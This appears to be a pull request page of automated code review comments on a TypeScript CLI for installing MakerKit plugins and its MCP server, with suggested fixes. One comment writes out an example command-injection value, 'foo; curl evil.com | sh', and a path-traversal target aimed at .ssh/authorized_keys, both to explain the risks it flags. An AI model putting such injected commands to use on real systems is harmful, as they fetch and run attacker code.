error instead of calling fs.ensureDir(dirname(targetPath)) and
fs.writeFile(targetPath, ...). Reference symbols: item.files, file.target, cwd,
targetPath, dirname(targetPath), fs.ensureDir, fs.writeFile.
🧹 Nitpick comments (6)
package.json (2)
30-30:@types/fs-extrabelongs indevDependencies.Type definition packages are only needed at build time and should not be shipped as production dependencies. Move it to
devDependencies.
29-47: Inconsistent version pinning strategy.Most dependencies use exact versions (e.g.,
"chalk": "5.6.2"), but@modelcontextprotocol/sdk,zod, andtypescriptuse^ranges. For a CLI tool, consistent pinning reduces surprising breakages. Consider either pinning all or using ranges consistently.src/utils/components-json.ts (2)
1-9: File namecomponents-json.tsno longer reflects its contents.This module exclusively handles username caching and prompting — there is no
components.jsoninteraction. The file name is misleading and will confuse future contributors. Consider renaming to something likeusername-cache.tsorregistry-username.ts.
9-9: Cached username intmpdir()is world-readable and uses a predictable path.The file
makerkit-usernamein the system temp directory has no restricted permissions and a predictable name. On multi-user systems, another user could read or replace it (symlink attack). For a developer CLI this is low risk, but consider writing to a user-specific config directory (e.g.,~/.config/makerkit/) and setting restrictive file permissions.src/plugins-model.ts (1)
204-206:inoperator on remotely-sourced data could match inherited properties.
getPluginsForVariantusesvariant in p.variants. If a remote registry response includes a plugin withvariants: { "__proto__": ... }or"constructor", theinoperator would match on inherited properties. Consider usingObject.hasOwn(p.variants, variant)orp.variants.hasOwnProperty(variant)— though the risk is low sincevariantis a controlled union type.src/mcp.ts (1)
134-209:makerkit_add_pluginhas no retry logic for registry file installation, unlike the CLIaddcommand.The CLI version (in
add.command.ts, lines 66-82) retries with a different username on failure. The MCP tool fails immediately. This inconsistency is acceptable for a programmatic API (the caller can retry with a differentgithubUsername), but worth documenting or noting in the tool description so MCP clients know to handle auth failures themselves.
| try { | ||
| await installRegistryFiles(variant, pluginId, username); | ||
| } catch (error) { | ||
| filesSpinner.fail('Failed to install plugin files.'); | ||
|
|
||
| clearCachedUsername(); | ||
|
|
||
| console.log( | ||
| chalk.yellow('\nRetrying with a different username...\n'), | ||
| ); | ||
|
|
||
| const retryUsername = await getOrPromptUsername(); | ||
|
|
||
| const retrySpinner = ora('Installing plugin files...').start(); | ||
| await installRegistryFiles(variant, pluginId, retryUsername); | ||
| retrySpinner.succeed('Plugin files installed.'); | ||
| } |
There was a problem hiding this comment.
Retry assumes all installRegistryFiles failures are auth-related.
When the initial fetch fails (line 68), the code clears the cached username and prompts for a new one. However, the failure could be a network timeout, a 404 (plugin not found for variant), or a server error — none of which would be resolved by changing the username. This creates confusing UX where the user is asked for a "different username" when the real issue is unrelated.
Consider inspecting the error (e.g., HTTP status code) to decide whether a username retry is appropriate, or at least log the original error to give the user context.
Sketch: differentiate auth errors from other failures
try {
await installRegistryFiles(variant, pluginId, username);
} catch (error) {
+ const isAuthError =
+ error instanceof Error && error.message.includes('(401)') ||
+ error instanceof Error && error.message.includes('(403)');
+
filesSpinner.fail('Failed to install plugin files.');
+ console.error(chalk.gray(` ${error instanceof Error ? error.message : error}`));
- clearCachedUsername();
-
- console.log(
- chalk.yellow('\nRetrying with a different username...\n'),
- );
-
- const retryUsername = await getOrPromptUsername();
-
- const retrySpinner = ora('Installing plugin files...').start();
- await installRegistryFiles(variant, pluginId, retryUsername);
- retrySpinner.succeed('Plugin files installed.');
+ if (isAuthError) {
+ clearCachedUsername();
+ console.log(chalk.yellow('\nRetrying with a different username...\n'));
+ const retryUsername = await getOrPromptUsername();
+ const retrySpinner = ora('Installing plugin files...').start();
+ await installRegistryFiles(variant, pluginId, retryUsername);
+ retrySpinner.succeed('Plugin files installed.');
+ } else {
+ throw error;
+ }
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| try { | |
| await installRegistryFiles(variant, pluginId, username); | |
| } catch (error) { | |
| filesSpinner.fail('Failed to install plugin files.'); | |
| clearCachedUsername(); | |
| console.log( | |
| chalk.yellow('\nRetrying with a different username...\n'), | |
| ); | |
| const retryUsername = await getOrPromptUsername(); | |
| const retrySpinner = ora('Installing plugin files...').start(); | |
| await installRegistryFiles(variant, pluginId, retryUsername); | |
| retrySpinner.succeed('Plugin files installed.'); | |
| } | |
| try { | |
| await installRegistryFiles(variant, pluginId, username); | |
| } catch (error) { | |
| const isAuthError = | |
| error instanceof Error && error.message.includes('(401)') || | |
| error instanceof Error && error.message.includes('(403)'); | |
| filesSpinner.fail('Failed to install plugin files.'); | |
| console.error(chalk.gray(` ${error instanceof Error ? error.message : error}`)); | |
| if (isAuthError) { | |
| clearCachedUsername(); | |
| console.log(chalk.yellow('\nRetrying with a different username...\n')); | |
| const retryUsername = await getOrPromptUsername(); | |
| const retrySpinner = ora('Installing plugin files...').start(); | |
| await installRegistryFiles(variant, pluginId, retryUsername); | |
| retrySpinner.succeed('Plugin files installed.'); | |
| } else { | |
| throw error; | |
| } | |
| } |
🤖 Prompt for AI Agents
In `@src/commands/plugins/add/add.command.ts` around lines 66 - 82, The catch
block treats every installRegistryFiles failure as an auth issue and always
clears cached username and retries; change it to inspect the caught error from
installRegistryFiles (e.g., check error.httpStatus / error.status / error.code
or instanceof network error) and only clearCachedUsername() / prompt
getOrPromptUsername() and retry when the error indicates authentication
(401/403) or explicit auth failure; for all other errors (network timeouts, 404,
5xx) log the original error via filesSpinner.fail or console.error with the
error details and rethrow or exit without prompting for a new username; keep
using the existing symbols filesSpinner, retrySpinner, installRegistryFiles,
clearCachedUsername, getOrPromptUsername to locate and implement the conditional
retry logic.
| import { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js'; | ||
| import { StdioServerTransport } from '@modelcontextprotocol/sdk/server/stdio.js'; | ||
| import { config } from 'dotenv'; | ||
| import { z } from 'zod/v3'; |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
find . -name "package.json" -type f | head -5Repository: makerkit/cli
Length of output: 70
🌐 Web query:
zod v3.24 subpath exports support zod/v3
💡 Result:
zod@3.24.x does not support the subpath export zod/v3. The zod/v3 (and zod/v4) subpath-versioning approach was introduced starting in zod@3.25.0. [1]
So to use it, upgrade and then import like:
import * as z3 from "zod/v3";You can see ./v3 explicitly listed under exports in zod@3.25.x package metadata. [2]
Sources: [1] [2]
🏁 Script executed:
cat package.json | grep -A 2 -B 2 '"zod"'Repository: makerkit/cli
Length of output: 179
The zod/v3 subpath import is incompatible with the installed Zod version.
import { z } from 'zod/v3' requires Zod 3.25.0 or later, but package.json specifies "zod": "^3.24.0". The zod/v3 subpath export does not exist in Zod 3.24.x and will fail at runtime. Either upgrade Zod to ^3.25.0 or import directly from 'zod' instead.
🤖 Prompt for AI Agents
In `@src/mcp.ts` at line 5, The import line "import { z } from 'zod/v3'" is
incompatible with the installed Zod (^3.24.0); fix it by either upgrading the
dependency to ^3.25.0+ in package.json (then run install) or change the import
to "import { z } from 'zod'" in src/mcp.ts so the module resolves at runtime;
pick one approach and ensure tests/build succeed after updating.
| import { runCodemod } from '@/src/utils/run-codemod'; | ||
| import { detectVariant, validateProject } from '@/src/utils/workspace'; | ||
|
|
||
| config({ path: '.env.local' }); |
There was a problem hiding this comment.
dotenv config loads from the MCP server's startup CWD, not the project path.
config({ path: '.env.local' }) at module level loads env vars relative to wherever the MCP process was launched, not from projectPath. If the intent is to load project-specific env vars, this should be inside withProjectDir or use an absolute path derived from projectPath.
🤖 Prompt for AI Agents
In `@src/mcp.ts` at line 22, The dotenv config call at module scope uses the
process CWD instead of the intended project directory; change the code so
dotenv.config(...) is invoked using an absolute path derived from projectPath
(e.g., path.join(projectPath, '.env.local')) or moved inside the withProjectDir
callback after projectPath is resolved so env vars load from the project
directory; update references to config (from dotenv) and ensure this runs before
any code that depends on those env vars.
| async function withProjectDir<T>( | ||
| projectPath: string, | ||
| fn: () => Promise<T>, | ||
| ): Promise<T> { | ||
| const original = process.cwd(); | ||
|
|
||
| try { | ||
| process.chdir(projectPath); | ||
| return await fn(); | ||
| } finally { | ||
| process.chdir(original); | ||
| } | ||
| } |
There was a problem hiding this comment.
process.chdir() is process-global — concurrent MCP tool calls will race on the working directory.
MCP servers can receive concurrent tool invocations. Since process.chdir() mutates global process state, two simultaneous calls (e.g., makerkit_status and makerkit_add_plugin for different projects) will clobber each other's working directory, leading to file operations in the wrong project. Consider passing the project path explicitly to each utility function instead of relying on process.cwd().
🤖 Prompt for AI Agents
In `@src/mcp.ts` around lines 24 - 36, withProjectDir currently uses
process.chdir/process.cwd which mutates global state and will race under
concurrent MCP tool calls; stop using process.chdir and instead refactor to pass
the projectPath explicitly to the functions that need it (change withProjectDir
to stop switching cwd and instead call fn with the projectPath argument, update
callers of withProjectDir and any utilities that rely on process.cwd() to accept
a projectPath parameter and perform file ops by joining projectPath with their
target paths, and remove any remaining uses of process.cwd() in functions
invoked from makerkit commands).
| pluginId: string, | ||
| username: string, | ||
| ): Promise<void> { | ||
| const url = `https://makerkit.dev/r/${variant}/${pluginId}.json?username=${username}`; |
There was a problem hiding this comment.
URL parameters are not encoded.
variant, pluginId, and username are interpolated directly into the URL. If any contain special characters (e.g., spaces, &, #), the URL will be malformed. Use encodeURIComponent for the path segments and query parameter.
Proposed fix
- const url = `https://makerkit.dev/r/${variant}/${pluginId}.json?username=${username}`;
+ const url = `https://makerkit.dev/r/${encodeURIComponent(variant)}/${encodeURIComponent(pluginId)}.json?username=${encodeURIComponent(username)}`;🤖 Prompt for AI Agents
In `@src/utils/install-registry-files.ts` at line 24, The constructed url string
uses raw values for variant, pluginId and username which can break the URL if
they contain special characters; update the url assembly to encode those values
by applying encodeURIComponent to variant and pluginId in the path portion and
to username in the query parameter so the resulting URL is valid for any
characters.
| for (const file of item.files) { | ||
| const targetPath = join(cwd, file.target); | ||
|
|
||
| await fs.ensureDir(dirname(targetPath)); | ||
| await fs.writeFile(targetPath, file.content); | ||
| } |
There was a problem hiding this comment.
Path traversal risk: file.target from untrusted remote is used directly in file writes.
file.target originates from the remote server JSON response. A malicious or compromised registry could supply a value like ../../.ssh/authorized_keys to write files outside the project directory. Resolve the path and verify it stays within cwd.
🛡️ Proposed fix: validate resolved path is within cwd
+import { resolve } from 'path';
+
// inside the for loop:
for (const file of item.files) {
- const targetPath = join(cwd, file.target);
+ const targetPath = resolve(cwd, file.target);
+
+ if (!targetPath.startsWith(cwd + '/') && targetPath !== cwd) {
+ throw new Error(
+ `Refusing to write "${file.target}": resolved path escapes the project directory.`,
+ );
+ }
await fs.ensureDir(dirname(targetPath));
await fs.writeFile(targetPath, file.content);
}🤖 Prompt for AI Agents
In `@src/utils/install-registry-files.ts` around lines 42 - 47, Validate and
restrict writes so resolved targetPath stays inside cwd: for each file in
item.files resolve the absolute path (using cwd and file.target), resolve
realpaths for both cwd and the targetPath, and verify the targetPath is within
the cwd root (e.g., compare realpaths or use path.relative and ensure it doesn't
escape with '..'); if the check fails, skip or throw an error instead of calling
fs.ensureDir(dirname(targetPath)) and fs.writeFile(targetPath, ...). Reference
symbols: item.files, file.target, cwd, targetPath, dirname(targetPath),
fs.ensureDir, fs.writeFile.
| if (item.dependencies && Object.keys(item.dependencies).length > 0) { | ||
| const deps = Object.entries(item.dependencies) | ||
| .map(([name, version]) => `${name}@${version}`) | ||
| .join(' '); | ||
|
|
||
| await execaCommand(`pnpm add ${deps}`, { stdio: 'inherit' }); |
There was a problem hiding this comment.
Command injection risk: dependency names/versions from untrusted remote are interpolated into a shell command.
name and version originate from the remote JSON response and are concatenated into a single string passed to execaCommand, which spawns a shell. A crafted value like "foo; curl evil.com | sh" would execute arbitrary commands. Use execa (array form) instead of execaCommand (string form) to avoid shell interpretation.
🛡️ Proposed fix: use execa with argument array
+import { execa } from 'execa';
-import { execaCommand } from 'execa';
// ...
if (item.dependencies && Object.keys(item.dependencies).length > 0) {
const deps = Object.entries(item.dependencies)
.map(([name, version]) => `${name}@${version}`);
- await execaCommand(`pnpm add ${deps}`, { stdio: 'inherit' });
+ await execa('pnpm', ['add', ...deps], { stdio: 'inherit' });
}📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if (item.dependencies && Object.keys(item.dependencies).length > 0) { | |
| const deps = Object.entries(item.dependencies) | |
| .map(([name, version]) => `${name}@${version}`) | |
| .join(' '); | |
| await execaCommand(`pnpm add ${deps}`, { stdio: 'inherit' }); | |
| if (item.dependencies && Object.keys(item.dependencies).length > 0) { | |
| const deps = Object.entries(item.dependencies) | |
| .map(([name, version]) => `${name}@${version}`); | |
| await execa('pnpm', ['add', ...deps], { stdio: 'inherit' }); | |
| } |
🤖 Prompt for AI Agents
In `@src/utils/install-registry-files.ts` around lines 49 - 54, The code builds a
shell string from item.dependencies and calls execaCommand which risks command
injection; change the call to use execa with an argument array instead of a
single shell string (e.g., replace execaCommand(`pnpm add ${deps}`, ...) with
execa('pnpm', ['add', ...depArgs], {stdio: 'inherit'}) where depArgs is an array
of `${name}@${version}` built from Object.entries(item.dependencies}); ensure
you import execa and avoid any string interpolation that goes to the shell so
dependency names/versions are passed as separate argv entries.
- Expanded the plugin management capabilities in the CLI by adding commands for listing, updating, and diffing plugins. - Updated the README.md to reflect new commands and improved usage instructions for plugin management. - Refactored the plugin installation process to support multi-select for adding plugins and improved error handling. - Introduced environment variable support for new plugins in the plugins model. - Updated TypeScript configuration to include ES2024 support and refactored utility functions for username caching.
There was a problem hiding this comment.
Actionable comments posted: 8
🤖 Fix all issues with AI agents
In `@src/commands/plugins/add/add.command.ts`:
- Line 79: The variable username is declared const after calling
getOrPromptUsername(), so when an auth retry supplies a corrected retryUsername
inside the retry block the updated credential isn't propagated to later plugins;
change the declaration of username to let (e.g., let username = await
getOrPromptUsername()) and inside the retry handling (where retryUsername is
accepted) reassign username = retryUsername after a successful retry so
subsequent iterations use the corrected credential; update any other identical
occurrences in the same function (the retry block that references retryUsername)
accordingly.
- Around line 116-118: The retry spinner (retrySpinner) can be left running if
installRegistryFiles throws; wrap the install call so the spinner is always
stopped: start retrySpinner before await installRegistryFiles(variant, pluginId,
retryUsername), then use try { await ...; retrySpinner.succeed('Plugin files
installed.'); } catch (err) { retrySpinner.fail('Failed to install plugin
files.'); throw err; } so the spinner is stopped on both success and failure
(refer to retrySpinner and installRegistryFiles in the add command where the
per-plugin error handling occurs).
In `@src/commands/plugins/diff/diff.command.ts`:
- Around line 84-96: The loop in diff.command.ts uses untrusted file.target
directly with join(cwd, file.target) and join(tempDir, file.target), creating a
path traversal risk; validate each target by resolving the absolute path (e.g.,
with path.resolve) and ensure the resulting path has the expected prefix (cwd
for localPath and tempDir for remotePath) before creating directories or writing
files, rejecting or skipping any entries where resolved paths do not start with
the intended base; mirror the same resolve + prefix-check logic used in
install-registry-files.ts and update handling around localPath/remotePath and
fs.ensureDir/fs.writeFile accordingly.
In `@src/commands/plugins/update/update.command.ts`:
- Around line 75-77: The active ora spinners (spinner and writeSpinner) can be
left running when fetchRegistryItem or execaCommand throw; wrap the per-plugin
work in a try/catch/finally (or a per-plugin try like in add.command.ts) so you
always stop the spinner in finally and call spinner.fail(...) in the catch with
plugin context. Specifically, surround the call to fetchRegistryItem and the
block that runs execaCommand with a try/catch/finally, ensure spinner.succeed()
is only called on success, and call spinner.stop()/writeSpinner.stop() or
spinner.fail(...) in the catch/finally to guarantee cleanup for both spinner and
writeSpinner.
- Around line 82-97: The current loop that builds modifiedFiles only checks
existing files and misses newly added registry files, causing updates that add
files to be skipped; update the logic in the loop over item.files (the code
using join(cwd, file.target), fs.pathExists, and reading localContent) so that
if fs.pathExists(localPath) is false you treat that file as modified/new (push
file.target into modifiedFiles), and if it exists compare contents as before;
ensure modifiedFiles is populated correctly before the check that logs
plugin.name as "already up to date."
In `@src/mcp.ts`:
- Around line 246-252: The call site currently discards the promise returned by
main(), so a rejection from server.connect(transport) (or any async failure
inside main) becomes an unhandled rejection; update the invocation to handle
errors by attaching a rejection handler to main() (or add a try/catch inside
main around server.connect) and log the error then exit non‑zero. Specifically,
ensure failures from main and the call to server.connect(transport) are caught
and reported (reference: main, server.connect, StdioServerTransport) and call
process.exit(1) after logging to avoid silent crashes.
- Around line 170-180: The installRegistryFiles step (installRegistryFiles) can
leave the repo dirty but its failures currently return errors without revert
guidance unlike runCodemod failures; update makerkit_add_plugin so any error
returned from installRegistryFiles (and the catch block that handles it)
includes the same revert instructions ("To revert: git checkout . && git clean
-fd") in the errorContent message, or wrap installRegistryFiles in a try/catch
that appends that revert guidance to the error before returning so behavior
matches runCodemod's failure handling.
In `@src/plugins-model.ts`:
- Around line 111-113: The honeybadger plugin object has a copy-paste bug where
the property name is set to 'PostHog' instead of the correct display name;
update the honeybadger plugin definition (the object keyed by 'honeybadger' in
src/plugins-model.ts) so its name property is 'Honeybadger' to ensure CLI
prompts and listings show the correct plugin name.
🧹 Nitpick comments (6)
README.md (1)
19-21: Fenced code blocks lack language specifiers (MD040).The linter flags multiple fenced code blocks (Lines 19, 79, 85, 91, 99, 105, 113, 119) without a language identifier. Adding
bashorshellwould satisfy the rule and enable syntax highlighting.-``` -pnpm dlx `@makerkit/cli`@latest <command> -``` +```bash +pnpm dlx `@makerkit/cli`@latest <command> +```src/utils/username-cache.ts (1)
9-9: Predictable shared temp file for username cache.
join(tmpdir(), 'makerkit-username')is a world-readable, predictable path. On shared systems, another user could read or overwrite the cached username. Consider using a user-scoped config directory (e.g.,~/.config/makerkit/) or at minimum include the OS user ID in the filename.src/plugins-model.ts (1)
350-373:isInstalledcheck relies onpkg.exportswhich not all valid packages define.The check
!!pkg.name && !!pkg.exportswill report a plugin as not installed if itspackage.jsonlacks anexportsfield (e.g., it only usesmain). Consider whether!!pkg.namealone is sufficient, or document whyexportsis required.src/commands/plugins/diff/diff.command.ts (1)
86-88: Minor: reuseremotePathindirname()call.Line 88 recomputes
join(tempDir, file.target)whenremotePathon line 86 already holds the same value.♻️ Proposed fix
- await fs.ensureDir(dirname(join(tempDir, file.target))); + await fs.ensureDir(dirname(remotePath));src/commands/plugins/outdated/outdated.command.ts (1)
73-81: Silently swallowed errors may hide persistent issues.Fetch failures per plugin are caught and silently skipped. If the username is invalid or the server is consistently returning errors, all plugins will be skipped and the user will see "All plugins are up to date" — which is misleading. Consider tracking skip count and informing the user.
♻️ Suggested improvement
+ let skipped = 0; + for (const plugin of installed) { try { if (await isOutdated(plugin, variant, username)) { outdated.push(plugin); } } catch { - // skip plugins that fail to fetch + skipped++; } } spinner.stop(); + if (skipped > 0) { + console.log( + chalk.yellow(`⚠ Could not check ${skipped} plugin${skipped > 1 ? 's' : ''} (fetch failed).`), + ); + }src/commands/plugins/update/update.command.ts (1)
123-136: File-writing and dependency-install logic duplicatesinstallRegistryFiles.Lines 123–136 replicate the same file-write loop and
pnpm addinvocation found insrc/utils/install-registry-files.ts(lines 42-64). Consider extracting a shared helper or reusinginstallRegistryFilesinternals to keep this DRY.
| } | ||
| } | ||
|
|
||
| const username = await getOrPromptUsername(); |
There was a problem hiding this comment.
Retried username is not propagated to subsequent plugins in the batch.
username is declared as const on line 79. If the first plugin fails auth and the user provides a corrected retryUsername on line 114, subsequent loop iterations still use the stale original username, causing every remaining plugin to fail on the first attempt and re-prompt.
Change username to let and reassign it after a successful retry so subsequent plugins use the corrected credential.
Proposed fix
- const username = await getOrPromptUsername();
+ let username = await getOrPromptUsername();
for (const pluginId of pluginIds) {And inside the retry block (around line 114–118):
const retryUsername = await getOrPromptUsername();
const retrySpinner = ora('Installing plugin files...').start();
await installRegistryFiles(variant, pluginId, retryUsername);
retrySpinner.succeed('Plugin files installed.');
+ username = retryUsername;Also applies to: 103-119
🤖 Prompt for AI Agents
In `@src/commands/plugins/add/add.command.ts` at line 79, The variable username is
declared const after calling getOrPromptUsername(), so when an auth retry
supplies a corrected retryUsername inside the retry block the updated credential
isn't propagated to later plugins; change the declaration of username to let
(e.g., let username = await getOrPromptUsername()) and inside the retry handling
(where retryUsername is accepted) reassign username = retryUsername after a
successful retry so subsequent iterations use the corrected credential; update
any other identical occurrences in the same function (the retry block that
references retryUsername) accordingly.
| const retrySpinner = ora('Installing plugin files...').start(); | ||
| await installRegistryFiles(variant, pluginId, retryUsername); | ||
| retrySpinner.succeed('Plugin files installed.'); |
There was a problem hiding this comment.
retrySpinner left spinning if the retry also throws.
If installRegistryFiles on line 117 throws, the error propagates to the per-plugin catch at line 169 but retrySpinner is never stopped, leaving a dangling spinner in the terminal.
Proposed fix
const retrySpinner = ora('Installing plugin files...').start();
- await installRegistryFiles(variant, pluginId, retryUsername);
- retrySpinner.succeed('Plugin files installed.');
+ try {
+ await installRegistryFiles(variant, pluginId, retryUsername);
+ retrySpinner.succeed('Plugin files installed.');
+ } catch (retryError) {
+ retrySpinner.fail('Retry failed.');
+ throw retryError;
+ }🤖 Prompt for AI Agents
In `@src/commands/plugins/add/add.command.ts` around lines 116 - 118, The retry
spinner (retrySpinner) can be left running if installRegistryFiles throws; wrap
the install call so the spinner is always stopped: start retrySpinner before
await installRegistryFiles(variant, pluginId, retryUsername), then use try {
await ...; retrySpinner.succeed('Plugin files installed.'); } catch (err) {
retrySpinner.fail('Failed to install plugin files.'); throw err; } so the
spinner is stopped on both success and failure (refer to retrySpinner and
installRegistryFiles in the add command where the per-plugin error handling
occurs).
| for (const file of item.files) { | ||
| const localPath = join(cwd, file.target); | ||
| const remotePath = join(tempDir, file.target); | ||
|
|
||
| await fs.ensureDir(dirname(join(tempDir, file.target))); | ||
| await fs.writeFile(remotePath, file.content); | ||
|
|
||
| if (!(await fs.pathExists(localPath))) { | ||
| console.log(chalk.green(`\nNew file: ${file.target}`)); | ||
| hasDiff = true; | ||
|
|
||
| continue; | ||
| } |
There was a problem hiding this comment.
Same path traversal risk applies here via file.target from remote.
file.target from the remote registry response is used in both join(cwd, file.target) (Line 85) and join(tempDir, file.target) (Line 86) without validation. A malicious target like ../../etc/passwd could read arbitrary local files or write outside the temp directory. Apply the same resolve + prefix check recommended in install-registry-files.ts.
🤖 Prompt for AI Agents
In `@src/commands/plugins/diff/diff.command.ts` around lines 84 - 96, The loop in
diff.command.ts uses untrusted file.target directly with join(cwd, file.target)
and join(tempDir, file.target), creating a path traversal risk; validate each
target by resolving the absolute path (e.g., with path.resolve) and ensure the
resulting path has the expected prefix (cwd for localPath and tempDir for
remotePath) before creating directories or writing files, rejecting or skipping
any entries where resolved paths do not start with the intended base; mirror the
same resolve + prefix-check logic used in install-registry-files.ts and update
handling around localPath/remotePath and fs.ensureDir/fs.writeFile accordingly.
| const spinner = ora(`Fetching latest ${plugin.name} files...`).start(); | ||
| const item = await fetchRegistryItem(variant, pluginId, username); | ||
| spinner.succeed(`Fetched latest ${plugin.name} files.`); |
There was a problem hiding this comment.
Spinners are not stopped on error paths.
If fetchRegistryItem (line 76) or execaCommand (line 135) throws, the active spinner (spinner or writeSpinner) is left spinning because the error propagates directly to the outer catch at line 140 with no cleanup. Consider wrapping these in per-plugin try/catch blocks (similar to add.command.ts) or stopping the spinner in a finally.
Also applies to: 121-138
🤖 Prompt for AI Agents
In `@src/commands/plugins/update/update.command.ts` around lines 75 - 77, The
active ora spinners (spinner and writeSpinner) can be left running when
fetchRegistryItem or execaCommand throw; wrap the per-plugin work in a
try/catch/finally (or a per-plugin try like in add.command.ts) so you always
stop the spinner in finally and call spinner.fail(...) in the catch with plugin
context. Specifically, surround the call to fetchRegistryItem and the block that
runs execaCommand with a try/catch/finally, ensure spinner.succeed() is only
called on success, and call spinner.stop()/writeSpinner.stop() or
spinner.fail(...) in the catch/finally to guarantee cleanup for both spinner and
writeSpinner.
| for (const file of item.files) { | ||
| const localPath = join(cwd, file.target); | ||
|
|
||
| if (await fs.pathExists(localPath)) { | ||
| const localContent = await fs.readFile(localPath, 'utf-8'); | ||
|
|
||
| if (localContent !== file.content) { | ||
| modifiedFiles.push(file.target); | ||
| } | ||
| } | ||
| } | ||
|
|
||
| if (modifiedFiles.length === 0) { | ||
| console.log(chalk.green(`${plugin.name} is already up to date.`)); | ||
| continue; | ||
| } |
There was a problem hiding this comment.
New registry files are not detected — updates that only add files are silently skipped.
The diff logic on lines 82–91 only adds files to modifiedFiles when they already exist locally (pathExists on line 85). If a plugin update introduces new files that don't exist on disk yet, they won't appear in modifiedFiles, the count stays 0, and line 95 reports "already up to date" — skipping the entire update.
Proposed fix — also track new files
const cwd = process.cwd();
const modifiedFiles: string[] = [];
+ const newFiles: string[] = [];
for (const file of item.files) {
const localPath = join(cwd, file.target);
if (await fs.pathExists(localPath)) {
const localContent = await fs.readFile(localPath, 'utf-8');
if (localContent !== file.content) {
modifiedFiles.push(file.target);
}
- }
+ } else {
+ newFiles.push(file.target);
+ }
}
- if (modifiedFiles.length === 0) {
+ if (modifiedFiles.length === 0 && newFiles.length === 0) {
console.log(chalk.green(`${plugin.name} is already up to date.`));
continue;
}
console.log(
chalk.yellow(
- `\n${modifiedFiles.length} file${modifiedFiles.length > 1 ? 's' : ''} will be overwritten:`,
+ `\n${modifiedFiles.length} file(s) modified, ${newFiles.length} new file(s):`,
),
);
for (const file of modifiedFiles) {
console.log(` ${chalk.gray(file)}`);
}
+
+ for (const file of newFiles) {
+ console.log(` ${chalk.green(file)} (new)`);
+ }🤖 Prompt for AI Agents
In `@src/commands/plugins/update/update.command.ts` around lines 82 - 97, The
current loop that builds modifiedFiles only checks existing files and misses
newly added registry files, causing updates that add files to be skipped; update
the logic in the loop over item.files (the code using join(cwd, file.target),
fs.pathExists, and reading localContent) so that if fs.pathExists(localPath) is
false you treat that file as modified/new (push file.target into modifiedFiles),
and if it exists compare contents as before; ensure modifiedFiles is populated
correctly before the check that logs plugin.name as "already up to date."
| // 6. Fetch and write plugin files from registry | ||
| await installRegistryFiles(variant, pluginId, username); | ||
|
|
||
| // 7. Run codemod with captured output | ||
| const codemodResult = await runCodemod(variant, pluginId, { captureOutput: true }); | ||
|
|
||
| if (!codemodResult.success) { | ||
| return errorContent( | ||
| `Plugin installation failed during codemod.\n${codemodResult.output}\nTo revert: git checkout . && git clean -fd`, | ||
| ); | ||
| } |
There was a problem hiding this comment.
Inconsistent revert guidance on partial failure in makerkit_add_plugin.
If installRegistryFiles on line 171 fails mid-way (some files written, some not), the error is caught at line 206 and returned without revert instructions. In contrast, codemod failure on line 178 explicitly includes "To revert: git checkout . && git clean -fd". The file-installation step can also leave the project in a dirty state and should provide the same guidance.
Proposed fix
// 6. Fetch and write plugin files from registry
- await installRegistryFiles(variant, pluginId, username);
+ try {
+ await installRegistryFiles(variant, pluginId, username);
+ } catch (error) {
+ return errorContent(
+ `Failed to install plugin files.\n${error instanceof Error ? error.message : error}\nTo revert: git checkout . && git clean -fd`,
+ );
+ }📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| // 6. Fetch and write plugin files from registry | |
| await installRegistryFiles(variant, pluginId, username); | |
| // 7. Run codemod with captured output | |
| const codemodResult = await runCodemod(variant, pluginId, { captureOutput: true }); | |
| if (!codemodResult.success) { | |
| return errorContent( | |
| `Plugin installation failed during codemod.\n${codemodResult.output}\nTo revert: git checkout . && git clean -fd`, | |
| ); | |
| } | |
| // 6. Fetch and write plugin files from registry | |
| try { | |
| await installRegistryFiles(variant, pluginId, username); | |
| } catch (error) { | |
| return errorContent( | |
| `Failed to install plugin files.\n${error instanceof Error ? error.message : error}\nTo revert: git checkout . && git clean -fd`, | |
| ); | |
| } | |
| // 7. Run codemod with captured output | |
| const codemodResult = await runCodemod(variant, pluginId, { captureOutput: true }); | |
| if (!codemodResult.success) { | |
| return errorContent( | |
| `Plugin installation failed during codemod.\n${codemodResult.output}\nTo revert: git checkout . && git clean -fd`, | |
| ); | |
| } |
🤖 Prompt for AI Agents
In `@src/mcp.ts` around lines 170 - 180, The installRegistryFiles step
(installRegistryFiles) can leave the repo dirty but its failures currently
return errors without revert guidance unlike runCodemod failures; update
makerkit_add_plugin so any error returned from installRegistryFiles (and the
catch block that handles it) includes the same revert instructions ("To revert:
git checkout . && git clean -fd") in the errorContent message, or wrap
installRegistryFiles in a try/catch that appends that revert guidance to the
error before returning so behavior matches runCodemod's failure handling.
| async function main() { | ||
| const transport = new StdioServerTransport(); | ||
|
|
||
| await server.connect(transport); | ||
| } | ||
|
|
||
| void main(); |
There was a problem hiding this comment.
Unhandled promise rejection if main() throws.
void main() discards the promise, so if server.connect(transport) rejects, it becomes an unhandled rejection that crashes the process silently (or with an opaque Node warning depending on the version).
Proposed fix
-void main();
+main().catch((err) => {
+ console.error('MCP server failed to start:', err);
+ process.exit(1);
+});📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| async function main() { | |
| const transport = new StdioServerTransport(); | |
| await server.connect(transport); | |
| } | |
| void main(); | |
| async function main() { | |
| const transport = new StdioServerTransport(); | |
| await server.connect(transport); | |
| } | |
| main().catch((err) => { | |
| console.error('MCP server failed to start:', err); | |
| process.exit(1); | |
| }); |
🤖 Prompt for AI Agents
In `@src/mcp.ts` around lines 246 - 252, The call site currently discards the
promise returned by main(), so a rejection from server.connect(transport) (or
any async failure inside main) becomes an unhandled rejection; update the
invocation to handle errors by attaching a rejection handler to main() (or add a
try/catch inside main around server.connect) and log the error then exit
non‑zero. Specifically, ensure failures from main and the call to
server.connect(transport) are caught and reported (reference: main,
server.connect, StdioServerTransport) and call process.exit(1) after logging to
avoid silent crashes.
| honeybadger: { | ||
| name: 'PostHog', | ||
